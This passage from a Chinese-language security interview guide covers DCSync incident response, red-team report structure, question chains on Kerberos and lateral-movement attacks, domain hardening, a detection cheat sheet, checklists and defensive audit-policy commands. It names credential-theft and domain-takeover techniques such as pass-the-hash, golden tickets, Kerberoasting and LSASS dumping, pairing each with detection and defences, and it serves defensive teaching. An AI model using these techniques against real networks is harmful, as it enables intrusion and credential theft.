    - 清理域控上的 Kerberos 票据缓存
  - ③ 检查有没有横向的迹象
    - 4624 Type 3 的源 IP 图谱
    - 有没有机器在连可疑外部 IP
  - ④ ★ 关键决策:要不要【立即】全网改密码
    ★ 我的建议:不立即。理由:
      - 改密码会让攻击者【再抓一轮】新 Hash(如果他还在内网)
      - 应该先把他清出去,再一次性改
      - ★ 但如果评估攻击者【已经离开】,那就尽早改

═══ 第 8~16 小时:清理后门 ═══
  (这一步参照 G13 的十步顺序)

  - ① 清 AdminSDHolder(★ 最先,否则自愈)
  - ② 清 GPO 后门
  - ③ 清 SID History
  - ④ 清其他 ACL 后门(域根、OU、RBCD、委派)
  - ⑤ 清理主机层持久化(注册表、服务、计划任务、WMI)
  - ⑥ 确认有没有其他 DCSync 权限的后门账号

═══ 第 16~24 小时:重置 + 监控 ═══

  - ① 重置 krbtgt(第二次)
    ★ 距第一次重置【10~24 小时】
    ★ 这一步之后,旧黄金票据才彻底失效
  - ② 重置所有高权限账号密码
    域管、企业管理员、Administrators、所有服务账号、
    所有机器账号(★ 第二次重置,确保干净)
  - ③ 强制所有用户下次登录改密码
    ★ 这是 DCSync 事件的必要动作(因为所有 Hash 都泄露了)
  - ④ 部署加强监控(接下来 2 周):
    - 蜜标(AD 蜜标账号 + 蜜标文件)
    - 4624 异常源 IP 实时告警
    - 5136 / 4728 / 4765 实时告警
    - 4662 DCSync 实时告警
  - ⑤ 出初步报告(给管理层):
    发生了什么、影响范围、已做了什么、还需要做什么

★ 五个最容易做错的地方

错误做法 为什么错 正确做法
立即全网强制改密码 攻击者还在内网 → 他马上再抓一轮新 Hash,白改 先清后门、断通道,再一次性改
直接关掉域控/失陷机器 丢内存证据 + 业务中断 网络隔离,保留内存
只重置 krbtgt 一次 旧 Hash 还在历史里,黄金票据仍有效 重置两次,间隔 10~24 小时
先清账号后清 AdminSDHolder 60 分钟后后门自动长回来 ★ 先清模板(AdminSDHolder),再清账号
清理完就宣布结束 ★ DCSync 意味着所有 Hash 泄露,必须假设攻击者还有副本 后续 2 周高强度监控 + 全员改密码 + 考虑长期重建

★ 关于“要不要重建域”(说清楚这两种声音)

支持清理:
  - 时间短(< 1 周)、日志完整、后门少
  - 重建成本太高(5000 人公司重建域 = 数月 + 大量业务改造)

支持重建:
  - 攻击持续时间长(数月)
  - ★ DCSync 已经发生 = krbtgt 泄露 = 攻击者有【离线副本】
    → 即使你重置两次 krbtgt,攻击者在重置前保存的 ntds.dit
       里还有所有账号的【历史 Hash】
    → 如果用户的密码【没改】,那个 Hash 依然有效!
  - ★ 所以:DCSync 之后,【全员改密码】是必须的
    只重置 krbtgt 而不改用户密码 = 没用

★ 我的判断:
  DCSync 事件后,如果
    (a) 攻击持续超过 1 个月,或
    (b) 无法确定攻击者的入口和全部动作
  → 强烈建议考虑重建新林
  → 至少要跟管理层把这个选项【明确提出来】,让他们做决策而不是替他们决定

面试话术(3 分钟版本)

“发现 DCSync,我的第一反应是:按’域内全部账号密码 Hash 已泄露’处理,这是灾难级事件,不是’先查查看再说’。

第一个小时分三步。前 15 分钟确认真实性——看 4662 的源 IP 是不是域控的 IP、交叉验证这个 IP 的其他行为,同时开始保证据(先不关机、不重启)。15 到 30 分钟定性上报,用一句话说清严重性:‘域内所有账号哈希可能已泄露,攻击者可以冒充任何人,包括域管’。30 到 60 分钟紧急止血:重置发起 DCSync 的账号并禁用、重置 krbtgt 第一次、封禁已知 C2。但有三件事不能做:不关域控(会丢内存证据且业务全停)、不立即大规模改密码、不删攻击者留下的文件。

第一到第四小时取证摸范围。优先级最高的是内存取证,因为重启就没了,用 comsvcs.dll 的 MiniDump 把可疑机器和域控的内存 dump 下来。然后导出所有日志做哈希保全、画攻击时间线(往前后各扩 30 天找起点)、确认攻击者拿到的凭据范围、找持久化。

第四到八小时阻断隔离:用网络隔离而不是关机,强制登出所有会话。这里有个关键决策——要不要立即全网改密码,我的答案是不立即。因为攻击者如果还在内网,你一改他马上再抓一轮新 Hash,白改。应该先把他清出去再一次性改。

第八到十六小时清后门,顺序严格按 G13 那套:先清 AdminSDHolder,再清 GPO、SID History、其他 ACL,最后清主机层持久化。

第十六到二十四小时:重置 krbtgt 第二次(距第一次 10 到 24 小时,这之后旧黄金票据才彻底失效)、重置所有高权限账号和服务账号和机器账号密码、强制所有用户下次登录改密码(★ 这一步是 DCSync 事件必需的,因为所有 Hash 都泄露了,只重置 krbtgt 而不改用户密码等于没用)、部署蜜标和加强监控。

最后我要诚实地说:DCSync 之后必须跟管理层明确提出“重建新林”这个选项。因为攻击者在重置之前保存的 ntds.dit 里有所有账号的历史 Hash,只要用户的密码没改,那个 Hash 就还有效。如果攻击持续超过一个月或者入口查不清,我倾向于建议重建——至少要让管理层做这个决策,而不是我们替他们决定。“


G27|场景:红队评估报告怎么写?怎么给客户排优先级?(难度 ★★★★)

★ 核心原则:报告的价值不在“发现了多少漏洞”,在“客户看完知道先做什么”

很多新手的红队报告是“漏洞清单”,客户看完一脸茫然。好的报告是风险叙事 + 行动清单。

报告的七个部分(结构)

① 执行摘要(Executive Summary)★ 写给管理层,1~2 页
   - 一句话结论:"我们在 X 天内从一台办公机拿下了整个域的管理员权限"
   - 三个数字:
     · 从普通员工账号到域管,用了几跳(BloodHound 路径)
     · 用了多少小时
     · 有没有使用 0day(★ 没有的话一定要写明,说明不是"运气好撞上 0day")
   - 风险等级:严重 / 高 / 中 / 低
   - ★ 一张图:攻击路径图(BloodHound 输出,视觉冲击力最强)

② 攻击路径叙述(Attack Narrative)★ 这一节最重要
   - 按时间线讲故事,不是列漏洞
   - 每一段:做了什么 → 为什么能成功 → 根本原因 → 影响
   - ★ 每一跳都要有截图/命令输出作为证据
   - 示例:
     "第 2 小时 15 分:我们在办公机 WS-042 上发现本地管理员密码
      与 WS-031 相同(镜像部署导致)。使用该密码通过 SMB 登录
      WS-031 成功。根本原因:所有办公机共用同一本地管理员密码。
      影响:任意一台办公机失陷 = 全部办公机失陷。"

③ 详细发现(Detailed Findings)
   - 每条发现一个统一模板(见下)
   - ★ 按严重程度排序,不是按发现顺序

④ 根本原因分类(Root Cause Analysis)★ 体现深度
   - 把 20 条发现归成 4~5 个根本原因
   - 例:
     · 根本原因 1:特权账号使用不规范(导致 8 条发现)
     · 根本原因 2:本地管理员密码共用(导致 5 条发现)
     · 根本原因 3:日志覆盖不全(导致 4 条发现)
   - ★ 这样客户一看就知道"钱该花在哪"

⑤ 修复建议(Remediation)
   - 按优先级分三档:立即 / 短期(1~3月)/ 中期(3~12月)
   - ★ 每条建议要写清楚:做什么、谁负责、多少工作量、什么效果

⑥ 附录:技术细节
   - 完整的命令、工具、输出
   - ★ 让客户的技术团队能复现

⑦ 附录:检测与响应建议
   - 这次攻击留下了哪些痕迹(日志、文件、网络)
   - ★ 客户可以用这些去查"是不是真的被攻击过"

★ 每条发现的统一模板

【发现编号】RED-2026-003
【标题】域管账号登录办公机导致凭据可被窃取
【严重程度】严重(Critical)
【CVSS / 内部评级】9.8 / Critical
【影响的资产】WS-042、WS-031、FILE-01、DC-01(共 4 台,但实际影响全域)
【所属根本原因】根本原因 1:特权账号使用不规范

【描述】
  我们在办公机 WS-042 上发现域管账号 corp\admin_wang 有活动会话。
  通过 dump LSASS 内存,我们获取了该域管账号的 NTLM Hash,
  随后使用 PTH 登录了文件服务器 FILE-01 和域控 DC-01。

  根本原因是域管账号被用于日常办公(登录办公机、浏览网页、收邮件),
  导致域管凭据在办公机上留下痕迹。

【证据】
  (截图:mimikatz 输出,敏感信息打码)
  (截图:PTH 登录域控成功的窗口)
  (日志:域控上 4624 的记录)

【影响】
  ★ 攻击者只要攻陷任意一台域管登录过的办公机,即可获取域管权限,
    进而控制整个域(包括所有用户账号、所有服务器、所有数据)。
  ★ 这不是理论风险,我们已实际验证。

【复现步骤】
  1. 在 WS-042 上以本地管理员执行:...
  2. ...
  (给技术团队复现用)

【修复建议】
  立即(1 周内):
    1. 重置 corp\admin_wang 的密码
    2. 检查该账号近期的所有登录记录,确认没有其他异常
  短期(1 个月):
    3. 制定特权账号使用规范,域管账号禁止登录办公机
    4. 为运维人员配备独立的特权账号(PAW 或堡垒机)
    5. 所有特权账号加入 Protected Users 组
  中期(3 个月):
    6. 部署分层管理(Tier 模型)
    7. 部署 LAPS

【修复后的验证方法】
  - BloodHound 中"域管会话在办公机上"的查询结果应为 0
  - 监控:域管账号在非 Tier 0 机器上的 4624 事件数应为 0

【参考】
  - MITRE ATT&CK: T1558.001 (Golden Ticket), T1552.001, T1078.002
  - 微软 Tier 模型文档
  - CIS Benchmark v3.0 5.x

★ 优先级排序的三个维度(怎么排“先修哪个”)

不要只按 CVSS 排。红队发现的排序要看三件事:

维度一:可利用性(Exploitability)★ 权重最高
  - 我们已经【实际利用成功】的 → 最高优先级
    ★ 这是红队报告相比漏洞扫描的最大优势:
      不是"理论上可能有风险",是"我们已经拿到了域管权限"
  - 需要复杂前提才能利用的 → 降低优先级

维度二:影响范围(Blast Radius)
  - 影响单台机器 → 中
  - 影响一个业务 → 高
  - ★ 影响整个域 / 所有数据 → 严重

维度三:修复成本(Effort)★ 常被忽略但很关键
  - 改一行配置就能修 → ★ 立刻做(即使影响中等)
  - 需要业务改造 → 排后面,但要给出过渡方案
  - 需要采购 → 走预算流程,但可以先把不花钱的部分做了

★ 优先级矩阵(可直接用)

影响小 影响大
易修复 P3(顺手做) P1(★ 立即做,最高性价比)
难修复 P4(暂缓/接受风险) P2(立项,给过渡方案)

★ 注意:P1 优先于 P2。很多报告把影响最大的排第一,但如果它要花半年改造,而另一个影响同样大、改一行配置就行——后者才是真正的第一优先。

★ 给客户汇报的三条原则

① 先讲故事,再讲清单
   开场不要直接放 30 条漏洞。
   ★ 先讲:"第 1 天上午 10 点,我们从一个普通员工的工位开始,
            第 4 小时我们拿到了域控。"
   然后放攻击路径图。
   最后才说"支撑这个故事的是以下 23 条发现"。

② ★ 不要只讲问题,一定要给方案
   "我们发现了 23 个问题" → 客户的第一反应是抵触和无力
   "这些问题的根本原因有 4 个,对应的解决方案是这 5 条" → 客户看到希望

③ ★ 承认边界,不要装作无所不知
   "本次评估范围是 A 网段和 B 业务系统,
    C 网段(生产网)和 D 系统不在授权范围内,
    所以这些部分的安全状况我们【没有结论】。"
   ★ 这句话非常重要——否则客户会误以为"报告没提的部分是安全的"

面试话术

“红队报告的核心价值不在发现了多少漏洞,而在客户看完知道先做什么。

结构上我分七部分,最重要的是前两块:执行摘要写给管理层,一页纸讲清三个数字——从普通员工到域管用了几跳、用了多少小时、有没有用 0day(没用的话一定要写明,说明不是撞运气撞到 0day),再配一张 BloodHound 的攻击路径图,视觉冲击最强。

第二块是攻击路径叙述,这是报告的灵魂。不要列漏洞清单,要按时间线讲故事:每一段写清楚做了什么、为什么能成功、根本原因是什么、影响有多大,每一跳都配截图和命令输出作为证据。

然后是详细发现、★ 根本原因分类(把 23 条发现归成 4 个根本原因,客户一看就知道钱该花在哪)、修复建议、技术细节附录、检测建议附录。

每条发现用统一模板:编号、严重级别、影响资产、所属根本原因、描述、证据、影响、复现步骤、修复建议(分立即/短期/中期三档)、修复后的验证方法、参考链接。★ 最后这个’验证方法’很重要,让客户知道修没修好怎么判断。

排序上我不只按 CVSS 排,而是看三个维度:可利用性(我们已经实际利用成功的最高优先级,这是红队报告相比漏洞扫描的最大优势——不是’理论上有风险’是’我们已经拿到域管了’)、影响范围、修复成本。第三点最常被忽略:影响大但要花半年改造的,优先级应该低于影响同样大但改一行配置就行的。所以我的优先级矩阵是——易修复+影响大 = P1 立即做,难修复+影响大 = P2 立项给过渡方案。

汇报时三条原则:先讲故事再讲清单、不只讲问题一定给方案、承认评估边界(明确说哪些不在授权范围内、没有结论),否则客户会误以为报告没提的部分就是安全的。“


7.10.4 追问链(G28 ~ G30)

什么是追问链:面试官抓住一个点连续深挖,直到你答不上来为止。 下面三条是本组最容易出现的追问链,每一条都要能从头答到尾。


G28|追问链:Kerberos 攻击(10 连问)(难度 ★★★★★)

Q1: Kerberos 认证分几个阶段?
A:  三个阶段六步。AS 阶段拿 TGT(两步),TGS 阶段换服务票据(两步),
    AP 阶段访问服务(两步)。

Q2: TGT 是用谁的 Hash 加密的?
A:  krbtgt 账号的 Hash。krbtgt 是 KDC 自己的"印章"账号。

Q3: 那拿到 krbtgt 的 Hash 能干什么?
A:  做黄金票据——自己签发任意身份、任意权限、任意有效期的 TGT,
    进而换到任何服务的票据。

Q4: 怎么清除黄金票据?
A:  重置 krbtgt 两次,两次间隔 10~24 小时。
    只重置一次不行,因为 krbtgt 保存了两份历史 Hash,旧票据仍有效。

Q5: 为什么间隔要 10~24 小时?
A:  因为 Kerberos 票据的最大生命周期默认是 10 小时。
    间隔太短,客户端和服务端缓存的票据会大量失效,造成业务中断。

Q6: 黄金票据怎么检测?
A:  域控的 Event 4769(请求服务票据)里:
    - 加密类型异常(RC4 而非 AES)
    - 请求者账号已被禁用/删除却还在申请
    - 会话密钥长度异常
    ★ 但更强的检测是"账号对账":已禁用账号的 4624 登录

Q7: 白银票据和黄金票据的区别?
A:  黄金票据伪造 TGT,用 krbtgt Hash,能访问任意服务,要联系域控(有 4769)。
    白银票据伪造 TGS,用【服务账号】Hash,只能访问那一个服务,
    ★ 不联系域控,所以域控上【没有任何日志】。

Q8: 白银票据怎么检测?
A:  ★ "有登录、没票据":目标机器上有 4624 登录成功,
       但域控上找不到对应的 4769 票据请求。
    但要先排除 NTLM(查 4776)、票据缓存(往前查 10 小时)、
    本地账号登录、以及域控日志采集是否正常。

Q9: Kerberoasting 和这两个有什么区别?
A:  ★ 本质不同:黄金/白银票据是【伪造】(我已经有 Hash 了),
       Kerberoasting 是【破解】(我还没有,要靠爆破拿到)。
    Kerberoasting 利用的是"任何域用户都能申请任意服务的票据"
    + "TGS 用服务账号 Hash 加密",拿回来离线爆破。
    触发的日志是 4769。

Q10: 那这几个攻击的防御,有没有一条能同时防住?
A:  有两条比较通用:
     ① 【服务账号密码 25 位以上随机 / gMSA】——
        让 Kerberoasting 爆破不可行(但防不住黄金/白银,
        因为那两个不需要爆破)
     ② ★ 【分层管理 + Protected Users】——
        保护的是"攻击者拿不到 krbtgt 和服务账号 Hash"这个源头。
        Protected Users 会禁用 RC4 和 NTLM、把 TGT 有效期压到 4 小时。
     ③ ★ 最根本的还是【保护 krbtgt 和域管凭据】——
        黄金票据的清除成本(重置两次 + 等 24 小时 + 业务风险)
        远高于预防成本。

G29|追问链:内网横向排查(10 连问)(难度 ★★★★★)

Q1: 发现一台机器失陷,第一步做什么?
A:  先保证据(内存 + 日志,★ 不关机不重启),再查范围。

Q2: 怎么查攻击者横向去了哪?
A:  从域控反查这个账号的所有 4624(登录成功),
    看它登录过哪些机器、什么时间、从哪个 IP。
    ★ 关键字段:Logon Type 3(网络登录)是横向移动的主要类型。

Q3: 日志被清空了怎么办?
A:  ★ 查域控的日志(攻击者清不了域控)
    查其他通道(Sysmon、PowerShell Operational、System)
    查文件系统痕迹(Amcache、Shimcache、Prefetch、SRUM、USN、MFT)
    查网络侧(防火墙、代理、DNS 日志)
    查集中化日志(SIEM 里还有转发过去的)

Q4: 怎么判断攻击者拿到了什么权限?
A:  看他抓到的【最高权限凭据】:
    - 只抓到普通域用户 → 影响小
    - 抓到某台机器的本地管理员 → 影响这台 + 共用密码的机器
    - 抓到域管 → ★ 整个域
    - 有 DCSync 或 krbtgt → ★★★ 灾难级

Q5: 怎么判断有没有 DCSync?
A:  Event 4662,ObjectType 是三个复制 GUID 之一,
    ★ 且源 IP 不是域控的 IP。

Q6: 发现 DCSync 了,怎么办?
A:  按"全部账号 Hash 已泄露"处理。
    ★ 必须【强制所有用户改密码】——只重置 krbtgt 不改用户密码等于没用,
      因为攻击者在重置前保存的 ntds.dit 里有历史 Hash。

Q7: 除了改密码,还要做什么?
A:  按 G13 的十步顺序清后门:
    ★ 先清 AdminSDHolder(自愈型),再清 GPO、SID History、其他 ACL、
      最后主机层持久化。顺序反了会白干。
    然后重置 krbtgt 两次(间隔 10~24h)。

Q8: 为什么先清 AdminSDHolder?
A:  因为 SDProp 线程每 60 分钟会把 AdminSDHolder 的 ACL
    强制覆盖到所有受保护账号上。
    ★ 先清账号后清模板 → 60 分钟后后门自动长回来。

Q9: 怎么确认清理干净了?
A:  ★ 诚实说:无法 100% 确认。
    能做的:
    - 重新审计一遍所有后门位置
    - 部署蜜标(AD 蜜标账号 + 蜜标文件 + 蜜标 SPN)
    - 重置凭据后高强度监控 2~4 周
    - ★ 如果攻击超过 1 个月或日志不全,建议重建

Q10: 下次怎么防止同样的事?
A:  回到 G17 的三件事:
    ① 分层管理(域管不登办公机)—— 让攻击者拿不到高权限凭据
    ② LAPS —— 断掉本地账号横移链
    ③ 出站白名单 —— 让他出不去
    ★ 再加一条:日志集中化 —— 至少下次能查清楚

G30|追问链:域加固方案设计(8 连问)(难度 ★★★★★)

Q1: 让你给一个域做加固,你从哪开始?
A:  先"看见":部署日志集中化 + EDR,跑 BloodHound 出基线,
    审计 AdminSDHolder / 域根 ACL / GPO / SID History / 委派。
    ★ 这一阶段零变更。

Q2: 基线出来了,第一步改什么?
A:  ★ 清理高权限组成员。风险最低、收益最大。
    10 年的环境里 Domain Admins 常常有二三十人,实际需要的可能只有五六个。

Q3: 然后呢?
A:  Quick wins 三连:
    - 取消 DONT_REQ_PREAUTH(AS-REP Roastable 归零)
    - 服务账号改 gMSA 或 25 位随机密码(Kerberoasting 归零)
    - 清理过度 ACL、禁用长期不登录账号

Q4: 最难的是什么?
A:  ★ 改变人的使用习惯——推行分层管理和堡垒机。
    技术上不难,难在运维抵触。
    ★ 关键是【先给替代方案再收权限】:配两套账号(日常 + 特权)、
      先并行跑再强制、找愿意配合的部门做样板。

Q5: 分层管理的 Tier 模型怎么设计?
A:  Tier 0 = 域控、PKI、AD 本身、能管理域的账号
    Tier 1 = 应用服务器、数据库
    Tier 2 = 办公终端
    ★ 铁律:高 Tier 的账号不能登录低 Tier 的机器

Q6: 怎么防止运维绕过?
A:  技术上:
    - 特权账号配置"拒绝从网络访问此计算机"(对 Tier 2 机器)
    - 用 GPO 下发"拒绝本地登录"和"拒绝通过远程桌面登录"
    - 堡垒机强制:只允许堡垒机到服务器的 3389/22
    管理上:
    - ★ 监控指标:域管在非 Tier 0 机器上的 4624 次数,目标 = 0
    - 把这项纳入运维 KPI 考核

Q7: 除了分层,还有什么高价值的?
A:  - LAPS(消除共用本地管理员密码)
    - 出站白名单(断 C2,★ 少数能同时防隧道/C2/数据泄露的措施)
    - 蜜标(兜底检测,几乎零误报)
    - 日志集中化(至少出事能查)
    - ★ 权限申请审批回收流程(控制增量,没有它前面全白做)

Q8: 怎么衡量做得好不好?
A:  ★ 用指标的变化趋势,不要讲技术细节:
    - 到域管的最短路径条数(健康值 ≤ 3)
    - Domain Users is Local Admin 的机器数(目标 0)
    - Kerberoastable / AS-REP Roastable 账号数(目标 0)
    - 非约束委派机器数(目标 0)
    - 高权限组成员数
    - LAPS 覆盖率(目标 ≥ 95%)
    - 日志/EDR 覆盖率(目标 ≥ 98%)
    - 堡垒机运维合规率(目标 100%)
    - ★ 域管在非 Tier 0 机器上的登录次数(目标 0)
    - MTTD(平均检测时间)

    每季度汇报一次这些数字的变化。
    "最短路径从 137 条降到 12 条"——这句话比讲两小时技术有用。

7.11 第七章小结

7.11.1 五条核心认知

认知一:内网的假设不是"防住",是"已经被突破了"

  边界防火墙、邮件网关、WAF 都在防"进来"。
  但内网安全的出发点完全不同:
    ★ 假设攻击者已经有一台办公机的权限,他还能走多远?

  这个假设转变是内网安全的第一课。
  如果你还在想"怎么让他进不来",你的内网措施一定做不对。

  数据支撑:重大安全事件里,攻击者进入内网后
  平均要【数周到数月】才被发现——这段时间他想去哪就去哪。

认知二:内网 90% 的攻击链,都依赖"在某台机器上抓到高权限凭据"

  把最经典的攻击链拆开看:
    办公机失陷 → 本机提权 → dump 凭据 → PTH 到下一台 → 重复 → 域控

  ★ 每一个箭头都依赖"凭据"。
  所以防守的核心不是"加固每台机器",而是:
    【控制高权限凭据出现在哪里】

  这就是为什么分层管理(域管不登办公机)是所有措施里最有效的一条——
  它直接让攻击者抓不到域管凭据。

认知三:Hash 就是密码,票据就是身份

  很多人到这一步还转不过弯:
    - 攻击者拿到 NTLM Hash,不需要知道明文密码就能认证 → PTH
    - 攻击者拿到 krbtgt Hash,不需要任何人的密码就能伪造身份 → 黄金票据
    - 攻击者拿到服务账号 Hash,不需要联系域控就能造票 → 白银票据

  ★ 所以"改密码"在内网里的作用远比想象中小:
    - 改了密码,Hash 变了,但攻击者会【再抓一轮】
    - 有黄金票据,改谁的密码都没用
    - 有 DCSync 的历史 Hash,用户不改密码就一直有效

  ★ 正确的顺序是:先清后门断通道 → 再一次性重置 → 再全员改密码

认知四:AD 的后门是"自愈"的,清理顺序错了等于白干

  AdminSDHolder + SDProp 每 60 分钟把模板权限推给所有受保护账号。
  GPO 会周期性地重新下发。
  ★ 这些机制本来是保护性的,被攻击者利用后变成了"后门自动修复"。

  所以清理顺序是硬性的:
    先清【模板】(AdminSDHolder、GPO)
    再清【实例】(各个账号、机器上的残留)
  ★ 反过来做,60 分钟后一切复原。

认知五:你永远无法 100% 确认清理干净了

  AD 的后门位置太多:AdminSDHolder、GPO、域根 ACL、各 OU ACL、
  SID History、委派(三种)、DCSync 权限、DCShadow、AD CS 证书模板、
  Schema、GPO 的 scripts.ini、WMI 订阅、服务、计划任务……

  ★ 所以诚实的做法不是承诺"清理干净",而是:
    ① 用蜜标做兜底检测
    ② 重置凭据后高强度监控 2~4 周
    ③ ★ 攻击超过一个月或日志不全时,明确提出"重建新林"这个选项,
       让管理层决策,而不是替他们决定

7.11.2 内网攻防速查卡

# 攻击手法 需要的前提 触发的日志 检测特征 最有效防御
1 本机信息收集 已立足 4688、PowerShell 4104 命令行异常 应用白名单、父子进程检测
2 BloodHound 枚举 普通域用户 LDAP 查询 大量 LDAP 查询 AD 蜜标账号
3 密码喷洒 无 4625(大量)、4771 一个源 IP 短时间对多账号失败 账户锁定策略 + 告警
4 PTH 目标账号的 NTLM Hash 4624 Type 3/9、4648 异常源 IP 的 Type 3 登录 ★ 分层管理 + LAPS
5 PTT 票据文件 4768/4769 加密类型异常 Protected Users(TGT 4h)
6 Kerberoasting 普通域用户 4769 ★ 加密类型 RC4 + 短时间大量 SPN 请求 ★ gMSA / 25 位随机密码
7 AS-REP Roasting 无(但需目标开了 DONT_REQ_PREAUTH) 4768(PreAuthType=0) ★ 账号本身就是问题 ★ 取消 DONT_REQ_PREAUTH
8 黄金票据 krbtgt Hash 4769 加密类型异常、已禁用账号还在用 ★ 保护 krbtgt;清除=重置两次
9 白银票据 服务/机器账号 Hash ★ 域控无日志 ★ 有 4624 无 4769 重置服务账号密码
10 非约束委派 控制了配置委派的机器 4624、4769 域管 TGT 被缓存 ★ 不用非约束委派
11 RBCD 对目标机器有写权限 + 能加机器账号 5136、4741 新机器账号异常出现 ★ MachineAccountQuota=0
12 DCSync 域管或复制权限 ★ 4662 ★ 源 IP 不是域控 审计域根 ACL + 4662 告警
13 DCShadow 域管 4741/4742/4743 ★ 非域控上的这三个事件 监控 4741-4743
14 PsExec 目标管理员 7045、4624 Type 3 ★ PSEXESVC 服务名 Sysmon 13、服务创建告警
15 WMI 横移 目标管理员 4624 Type 3 ★ WmiPrvSE.exe 的父进程异常 4688 + 父进程监控
16 WinRM(最隐蔽) 目标管理员 4624 Type 3、Microsoft-Windows-WinRM 日志 wsmprovhost.exe 限制 WinRM、仅堡垒机可连
17 计划任务 目标管理员 4698 异常创建者 4698 告警
18 AdminSDHolder 后门 域管 ★ 5136 ★ 目标对象含 AdminSDHolder ★ 5136 实时告警
19 GPO 后门 域管 5136、5137 新建/修改 GPO GPO 基线 diff
20 SID History 域管 ★ 4765 ★ 林外域的 SID 4765 告警
21 隧道/C2 已立足 + 出站 4688、Sysmon 3、DNS 日志 长连接、DNS 异常 ★ 出站白名单 + DNS 管控
22 LSASS 凭据窃取 本机管理员 Sysmon 10(进程访问) ★ 非系统进程访问 LSASS Credential Guard、Sysmon 10

7.11.3 五份落地清单

清单 A:域环境上线前检查(Go-Live Checklist)

[ ] 1. 高权限组成员已最小化(Domain Admins ≤ 6 人,逐个有审批记录)
[ ] 2. 所有服务账号已改为 gMSA 或 25 位以上随机密码
[ ] 3. AS-REP Roastable 账号数 = 0
[ ] 4. 非约束委派机器数 = 0
[ ] 5. 委派配置已审计,敏感账号已勾选"不能被委派"
[ ] 6. MachineAccountQuota = 0(或已评估风险并接受)
[ ] 7. 具有 DCSync 权限的账号 = 仅内置的高权限组
[ ] 8. AdminSDHolder 的 ACL 已与基线对比,无异常账号
[ ] 9. 域根 ACL、各 OU ACL 已审计
[ ] 10. SID History 已排查(重点是林外域 SID)
[ ] 11. LAPS 已部署,覆盖率 ≥ 95%
[ ] 12. "Domain Users is Local Admin" 的机器数 = 0
[ ] 13. 特权账号已加入 Protected Users 组
[ ] 14. 分层管理(Tier 模型)已落地,域管不登办公机
[ ] 15. 堡垒机已部署,运维 100% 走堡垒机
[ ] 16. 日志集中化已部署(域控 + 关键服务器 + 终端),保留 ≥ 180 天
[ ] 17. 4688 命令行审计已开启
[ ] 18. PowerShell 脚本块日志(4104)已开启
[ ] 19. Sysmon 已部署(至少包含 1/3/7/8/10/11/13/17-21)
[ ] 20. 目录服务审计(4662/5136)已开启
[ ] 21. 出站白名单 + 强制代理已生效
[ ] 22. 内网 DNS 管控已生效(不允许直接查外部 DNS)
[ ] 23. 蜜标已部署(AD 蜜标账号 + 蜜标文件 + 蜜标 SPN)
[ ] 24. 关键告警已接入 SOC 值班流程(1102/4728/4765/5136/4662/4741)
[ ] 25. krbtgt 重置预案已制定并演练过

清单 B:域被攻陷后的应急响应顺序(Incident Response Runbook)

★ 阶段 0:止血(0~1h)
[ ] 保证据:内存 dump(不关机)、日志导出并做哈希、记录当前时间
[ ] 确认事件真实性(排除误报)
[ ] 定性并上报(一句话说清严重性)
[ ] 重置发起攻击的账号密码并禁用
[ ] 重置 krbtgt(第 1 次)
[ ] 封禁已知 C2
    ⚠️ 不做:关域控、立即全网改密码、删攻击者文件

★ 阶段 1:取证(1~4h)
[ ] 内存取证(可疑机器 + 域控)★ 优先级最高
[ ] 导出所有相关日志
[ ] 画攻击时间线(前后各扩 30 天)
[ ] 确定攻击者拿到的最高权限凭据
[ ] 找持久化(4720/4728/4698/7045/5136/4765/4741)

★ 阶段 2:阻断(4~8h)
[ ] 网络隔离失陷机器(不是关机)
[ ] 强制登出所有会话
[ ] 重置机器账号密码(第 1 次)
[ ] 排查横向迹象

★ 阶段 3:清后门(8~16h)★ 顺序不能乱
[ ] ① 清 AdminSDHolder ★ 最先
[ ] ② 清 GPO 后门
[ ] ③ 清 SID History
[ ] ④ 清其他 ACL 后门(域根、OU、RBCD、委派、DCSync 权限)
[ ] ⑤ 清主机层持久化(注册表、服务、计划任务、WMI、粘滞键)

★ 阶段 4:重置(16~24h)
[ ] 重置 krbtgt(第 2 次)★ 距第 1 次 10~24h
[ ] 重置所有高权限账号、服务账号、机器账号密码
[ ] ★ 强制所有用户下次登录改密码
[ ] 部署蜜标和加强监控

★ 阶段 5:跟踪(2~4 周)
[ ] 每天看异常登录告警
[ ] 每周跑一次 BloodHound 对比
[ ] 2 周后出总结报告
[ ] ★ 评估是否需要重建新林,把选项明确提给管理层

清单 C:BloodHound 季度体检流程

[ ] 1. 采集数据(SharpHound / bloodhound-python,CollectionMethod=Default)
[ ] 2. 导入并跑 10 个内置查询
[ ] 3. 记录五个核心指标:
        - 到域管的最短路径条数(目标 ≤ 3)
        - Domain Users is Local Admin 的机器数(目标 0)
        - Kerberoastable 账号数(目标 0 / 全 gMSA)
        - AS-REP Roastable 账号数(目标 0)
        - 有 DCSync 权限但不在域管组的账号(目标 0)
[ ] 4. 跟上一季度对比,看趋势
[ ] 5. 找出新增的异常边(GenericAll / GenericWrite / ForceChangePassword)
[ ] 6. 输出整改清单,按"影响面 × 修复成本"排序
[ ] 7. ★ 关键:整改后【重新采集验证】,确认路径确实减少了

清单 D:AD 关键日志审计配置

# 一键配置域控审计策略(在域控上以管理员执行)
# ① 开启详细审核
auditpol /set /subcategory:"Logon"                          /success:enable /failure:enable
auditpol /set /subcategory:"Logoff"                         /success:enable
auditpol /set /subcategory:"Account Logon"                  /success:enable /failure:enable   # 4768/4769/4771/4776
auditpol /set /subcategory:"Account Management"             /success:enable /failure:enable   # 4720/4728/4732/4756/4765/4741
auditpol /set /subcategory:"Directory Service Access"       /success:enable                   # ★ 4662 DCSync
auditpol /set /subcategory:"Directory Service Changes"      /success:enable                   # ★ 5136/5137/5138/5139
auditpol /set /subcategory:"Process Creation"               /success:enable                   # 4688
auditpol /set /subcategory:"Object Access"                  /success:enable /failure:enable
auditpol /set /subcategory:"Audit Policy Change"            /success:enable                   # 4719(改审计策略)
auditpol /set /subcategory:"System"                         /success:enable                   # 1102(清日志)

# ② 开启 4688 的命令行记录(★ 必须,默认不带命令行)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" `
        /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

# ③ 开启 PowerShell 脚本块日志(★ 4104,抓无文件攻击的关键)
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
        /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" `
        /v EnableModuleLogging /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription" `
        /v EnableTranscripting /t REG_DWORD /d 1 /f

